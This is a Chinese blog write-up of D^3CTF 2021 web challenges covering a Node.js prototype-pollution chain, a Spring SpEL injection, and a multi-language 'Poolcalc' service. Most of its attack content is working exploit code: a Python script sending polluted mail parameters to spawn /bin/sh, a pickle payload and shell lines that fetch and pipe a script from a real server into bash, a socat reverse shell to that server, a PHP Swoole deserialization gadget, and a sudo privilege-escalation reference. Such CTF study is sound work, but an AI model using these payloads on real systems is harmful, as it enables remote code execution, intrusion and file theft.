D^3CTF 2021

·
CTFWP no tag March 7, 2021

题目质量很高。感谢出题师傅们。

太菜了只会做两个web。

image.png

其他方向的师傅们很强,躺着上分

8-bit pub

题目给了源码

image.png

随便注册个账号发现要admin登录,第一步应该是怎么成为admin。

这个trick在googleCTF2020出过

  signin: function (username, password, done) {
    sql.query(
      "SELECT * FROM users WHERE username = ? AND password = ?",
      [username, password],
      function (err, res) {
        if (err) {
          console.log("error: ", err);
          return done(err, null);
        } else {
          return done(null, res);
        }
      }
    );
  }

我们要以admin登录,但是我们并不知道admin的密码,因此想办法构造万能密码

我们提交一个对象,看看sql.query()传参为对象会变成甚么

自己开个test.js

const sql = require("../utils/db.js");
const password = {
    "password":1
}
var mySql=sql.format(
    "SELECT * FROM users WHERE username = ? AND password = ?",
    ["admin", password])
console.log(mySql)

image.png

这里可以发现传入对象直接转换成key=value的形式了,而mysql中的反引号为列名。然后直接返回True,就登录成功了

image.png

image.png

登陆成功。

进去以后主要看controllers/adminController.js

const send = require("../utils/mail");
const shvl = require("shvl");

module.exports = {
  home: function (req, res) {
    return res.sendView("admin.html");
  },

  email: async function (req, res) {
    let contents = {};

    Object.keys(req.body).forEach((key) => {
      shvl.set(contents, key, req.body[key]);
    });

    contents.from = '"admin" <admin@8-bit.pub>';

    try {
      await send(contents);
      return res.json({message: "Success."});
    } catch (err) {
      return res.status(500).json({ message: err.message });
    }
  },
};

这里的shvl.set(contents, key, req.body[key]);键名可控,明显是原型链污染

首先我们看一下shvl.set的用法

https://www.npmjs.com/package/shvl

import * as shvl from 'shvl';

let obj = {
    a: {
        b: {
            c: 1
            d: undefined
            e: null
        }
    }
};

// Use dot notation for keys
shvl.set(obj, 'a.b.c', 2);
shvl.get(obj, 'a.b.c') === 2;

题目中的shvl.set其实就是循环赋值。在这个例子中,c被赋值为2

所以我们输入的参数会被循环赋值给contents且键名可控。造成了原型链污染。

image.png

调试一下看看规则,发现__proto__被waf掉了,于是就稍微绕一下。

可以用constructor.prototype绕

image.png

随便来一发__proto__

image.png

发现__proto__已经被污染了。

const nodemailer = require("nodemailer");

async function send(contents) {
  let transporter = nodemailer.createTransport({
  host: "******", // Plz use your own smtp server for testing.
  port: 25,
  tls: { rejectUnauthorized: false },
  auth: {
    user: "******",
    pass: "******",
  },
});
  return transporter.sendMail(contents);
}

module.exports = send;

在看一下发送信息这里,这里确实是可以给我们的邮箱发信息的,于是看一下nodemailer的文档,发现attachments可以带附件发送。于是尝试读文件。

image.png

发送成功。

image.png

同时我们在邮箱里也接到了/etc/passwd

下一步要审源码,目前我们已经控制了原型链,看看哪里有危险函数,可以RCE。

image.png

最终在这里发现有一个spawn函数。可以执行命令

image.png

网上看这两个参数都是可控的。于是尝试一下污染这两个参数。

且这道题好像不能出网,不能弹shell。只能先读/readflag到/tmp/flag,然后再用刚才的下载附件读取flag

node_modules/nodemailer/lib/nodemailer.js

image.png

node_modules/nodemailer/lib/mailer/index.js

image.png

因为我们要攻击的是SendmailTransport类,所以这里要污染sendmail。

让这个send进入SendmailTransport类的send

import requests

import time
def test():
    session = requests.session()
    session.proxies ={
        "http":"http://127.0.0.1:8080/"
    }
    burp0_url = "http://7281fd0fb4.8bit-pub.d3ctf.io:80/user/signin"
    burp0_headers = {"Accept": "*/*", "DNT": "1", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Safari/537.36", "Content-Type": "application/json; charset=UTF-8", "Origin": "http://7281fd0fb4.8bit-pub.d3ctf.io", "Referer": "http://7281fd0fb4.8bit-pub.d3ctf.io/signin", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
    burp0_json={"password": {"password": 1}, "username": "admin"}
    res = session.post(burp0_url, headers=burp0_headers, json=burp0_json)
    print(res.text)
    burp0_url = "http://7281fd0fb4.8bit-pub.d3ctf.io:80/admin/email"
    # burp0_cookies = {"session": "s%3AA1Wfg_YiuQ5kJ2i7cE162YwtJedc1KIo.So598S5jg%2BpYSAjAv%2B222o3UuNlDqSH%2F3SYS03fJQrc"}
    burp0_headers = {"Accept": "*/*", "DNT": "1", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Safari/537.36", "Content-Type": "application/json; charset=UTF-8", "Origin": "http://7281fd0fb4.8bit-pub.d3ctf.io", "Referer": "http://7281fd0fb4.8bit-pub.d3ctf.io/admin", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
    burp0_json={"constructor.prototype.args":["-c","/readflag > '/tmp/ffllaagg'"],"constructor.prototype.path":"/bin/sh","constructor.prototype.sendmail":["1"],"subject":"1","text":"1","to":"1362612010@qq.com"}
    res = session.post(burp0_url, headers=burp0_headers, json=burp0_json)
    print(res.text)
    return res.text
result = test()

image.png

然后用邮箱带出flag

image.png

比较阴险的是这里居然强行加了一个-i参数。。必须用-c参数转换一下。。

Happy_Valentine's_Day

image.png

image.png

name那里有spel注入。

本来是有waf的,但是一个换行就直接绕了。。

访问预览触发。

使用T(Type)表示Type类的实例

[[${T(java.lang.Runtime).getRuntime().exec("")}]]

可以用这个执行RCE。但是不能直接弹shell,考虑写sh脚本弹shell。

这个弹shell手法我曾在华为XCTF用过http://www.yang99.top/index.php/archives/13/

curl -o /tmp/b.sh 47.97.123.81:8000/2.txt
sh /tmp/b.sh

vps上写

#!/bin/bash
echo "Hello World !"
curl 47.97.123.81/1.txt|bash

image.png

image.png

进去发现没权限读flag,要提权

CVE-2021-3156

提权 https://github.com/CptGibbon/CVE-2021-3156

image.png

Poolcalc

赛后稍微复现了一下

一道很综合性的题目,四种语言都有。

看到的界面是node.js写的。

进去直接可以读文件

/redirect?filename=app.js
const fs = require('fs')
const express = require('express')
const {exec} = require('child_process')
const format = require("string-format")
const dotenv = require("dotenv");

dotenv.config()

const app = express()

app.use(express.static('public'));

app.get("/", (req, res) => {
    return res.redirect("/redirect?filename=index.html")
})

app.get("/redirect", (req, res) => {
    let filename = req.query.filename
    res.sendFile(`${__dirname}/` + filename)
})


app.get('/calc', (req, res) => {
    let params = req.query
    var lang = params.language !== undefined ? params.language : "python"

    let calc_client_path = {
        "python": process.env.py_calc_tool_path,
        "php": process.env.php_calc_tool_path,
        "java": process.env.java_calc_tool_path
    }

    if (lang === 'python') {
        let data = {
            "action": params.action,
            "a": params.a,
            "b": params.b,
            "ip": process.env.py_calc_address,
            "port": process.env.py_calc_port
        }
        var cmd = format(calc_client_path.python + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
    } else if (lang === 'php') {
        let data = {
            "action": params.action,
            "a": params.a,
            "b": params.b,
            "ip": process.env.php_calc_address,
            "port": process.env.php_calc_port
        }
        var cmd = format(calc_client_path.php + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
    } else if (lang === 'java') {
        let data = {
        "action": params.action,
        "a": params.a,
        "b": params.b,
        "ip": process.env.java_calc_address,
        "port": process.env.java_calc_port
    }
        var cmd = format("java -jar" + " " + calc_client_path.java + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
    }

    try {
        exec(cmd, ((error, stdout, stderr) => {
            res.send(stdout)
        }))
    } catch (e) {
        res.send("Something Error")
    }
})


const port = process.env.web_app_port

app.listen(port, () => {
    console.log(`App listening at http://0.0.0.0:${port}`)
})

简单审计一波。命令可以拼接

/calc?language=python&action=add&a=1&b=;ls;

直接RCE,可以弹个shell出来。

因为要经常在这个shell里操作,于是创建一个更好用的shell

靶机执行

curl -o /tmp/socat http://47.97.123.81/socat
chmod +x /tmp/socat;
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:47.97.123.81:11452;

服务器监听

socat file:`tty`,raw,echo=0 tcp-listen:11452

这样弹出来的shell和真实的shell就一模一样了。十分好用

image.png

curl+c和方向键都可以用。

顺便,在第一台机器下有第一个flag。

在calc里有py,php,java的计算client。

用curl保存下来

nc -lvvp 11452 > client
curl -d @client 47.97.123.81:11452

*可以通过curl命令查看每个域名对应的IP地址

image.png

因为要攻击内网服务,因此需要不断的传文件到靶机上,很不方便,因此使用ew反代

python部分

这个client文件是用pyinstaller打包的,要得到源码首先要解包

https://github.com/extremecoders-re/pyinstxtractor/wiki/Extracting-Linux-ELF-binaries

objcopy --dump-section pydata=pydata.dump pythonclient
python3 pyinstxtractor.py pydata.dump
cd pydata.dump_extracted
uncompyle6 client.pyc

我本地不知道为什么,反编译会报错。意义不大,直接贴个源码吧

import socket, sys, _pickle as pickle, argparse
from Calculator import Calculator

def generate_data(action, a, b):
    obj = Calculator(action, a, b)
    data = pickle.dumps(obj)
    return data


def send_data(ip, port, pickle_data):
    address = (
     ip, int(port))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(3)
    try:
        s.connect(address)
    except Exception:
        print('Server not found or not open')
        sys.exit()

    try:
        try:
            s.sendall(pickle_data)
            recv_c = s.recv(1024)
            print(recv_c.decode())
        except Exception:
            s.close()

    finally:
        s.close()


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-ip', '--ip_address', help='',
      required=True)
    parser.add_argument('-p', '--port', help='', required=True)
    parser.add_argument('-action', help='', required=True)
    parser.add_argument('-a', help='', required=True)
    parser.add_argument('-b', help='', required=True)
    args = parser.parse_args()
    if args.ip_address is None:
        args.ip_address = '127.0.0.1'
    if args.port is None:
        args.port = 8080
    data = generate_data(args.action, args.a, args.b)
    send_data(args.ip_address, args.port, data)
# okay decompiling client.pyc

简单审计一下发现经典pickle反序列化data = pickle.dumps(obj)

直接打

EXP

import socket, sys, _pickle as pickle,os


class Calculator(object):
    def __init__(self,action,a,b):
        self.a = a 
        self.b = b 
    def __reduce__(self):
        return (os.system, ('curl 47.97.123.81/1.txt|bash',))

def generate_data(action, a, b):
    obj = Calculator(action, a, b)
    data = pickle.dumps(obj)
    return data


def send_data(ip, port, pickle_data):
    address = (
     ip, int(port))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(3)
    try:
        s.connect(address)
    except Exception:
        print('Server not found or not open')
        sys.exit()

    try:
        try:
            s.sendall(pickle_data)
            recv_c = s.recv(1024)
            print(recv_c.decode())
        except Exception:
            s.close()

    finally:
        s.close()


if __name__ == '__main__':
    data = generate_data('add', 1,2)
    send_data('172.20.0.4', 8080, data)

PHP部分

用phar extractto也能获得源码

<?php

include_once __DIR__ . "/Calculator.php";

$params = $argv;

$i = 0;

$action = $params[$i + 2];
$a = $params[$i + 4];
$b = $params[$i + 6];
$ip = $params[$i + 8];
$port = $params[$i + 10];


$calculator = new Calculator($action, $a, $b);
$data = serialize($calculator);

// send serialize data
$client = new Swoole\Client(SWOOLE_SOCK_TCP);
if (!$client->connect($ip, $port, -1)) {
    exit("connect failed. Error: {$client->errCode}\n");
}
$client->send($data);
echo $client->recv();
$client->close();
<?php

class Calculator
{
    private $action;
    private $a;
    private $b;
    private $res;

    function __construct($action, $a, $b)
    {
        $this->action = $action;
        $this->a = $a;
        $this->b = $b;
    }

    private function add()
    {
        $this->res = $this->a + $this->b;
    }

    private function sub()
    {
        $this->res = $this->a - $this->b;
    }

    private function mul()
    {
        $this->res = $this->a * $this->b;
    }

    private function div()
    {
        $this->res = $this->a / $this->b;
    }

    public function __invoke()
    {
        // TODO: Implement __invoke() method.
        if ($this->action == 'add') {
            $this->add();
        } elseif ($this->action == "sub") {
            $this->sub();
        } elseif ($this->action == "mul") {
            $this->mul();
        } elseif ($this->action == "div") {
            $this->div();
        }

        return $this->res;
    }
}

直接NULL的 Exp打

// Author: Wupco (http://www.wupco.cn/)
<?php
// https://github.com/swoole/library/blob/master/src/core/Curl/Handler.php#L309-L319
// delete(L309-L319) (bypass is_resource check) and change class name to Handlep
include("Handler.php");

function process_serialized($serialized)
{
    $new = '';
    $last = 0;
    $current = 0;
    $pattern = '#\bs:([0-9]+):"#';

    while (
            $current < strlen($serialized) &&
            preg_match(
                $pattern,
                $serialized,
                $matches,
                PREG_OFFSET_CAPTURE,
                $current
            )
        ) {
        $p_start = $matches[0][1];
        $p_start_string = $p_start + strlen($matches[0][0]);
        $length = $matches[1][0];
        $p_end_string = $p_start_string + $length;

        # Check if this really is a serialized string
        if (!(
            strlen($serialized) > $p_end_string + 2 &&
                substr($serialized, $p_end_string, 2) == '";'
        )) {
            $current = $p_start_string;
            continue;
        }
        $string = substr($serialized, $p_start_string, $length);

        # Convert every special character to its S representation
        $clean_string = '';
        for ($i=0; $i < strlen($string); $i++) {
            $letter = $string{$i};
            $clean_string .= ctype_print($letter) && $letter != '\\' ?
                    $letter :
                    sprintf("\\%02x", ord($letter));
            ;
        }

        # Make the replacement
        $new .=
                substr($serialized, $last, $p_start - $last) .
                'S:' . $matches[1][0] . ':"' . $clean_string . '";'
            ;
        $last = $p_end_string + 2;
        $current = $last;
    }

    $new .= substr($serialized, $last);
    return $new;
}
$o = new Swoole\Curl\Handlep("http://baidu.com/");
$o->setOpt(CURLOPT_READFUNCTION, "array_walk");
$o->setOpt(CURLOPT_FILE, "array_walk");
$o->exec = array('curl xxxxx');
$o->setOpt(CURLOPT_POST, 1);
$o->setOpt(CURLOPT_POSTFIELDS, "aaa");
$o->setOpt(CURLOPT_HTTPHEADER, ["Content-type"=>"application/json"]);
$o->setOpt(CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);

$a = serialize([$o,'exec']);
echo str_replace("Handlep", "Handler", urlencode(process_serialized($a)));

Java部分

复现https://github.com/lalajun/RMIDeserialize

是RMI反序列化。等以后学习Javaweb再来复现

  • 8u221RMI 反序列化RCE
  • 关于报错注入的一些深入理解
  • V&NCTF2021
取消回复

说点什么?
Title
python部分
PHP部分
Java部分

© 2023 Yang_99的小窝. Using Typecho & Moricolor.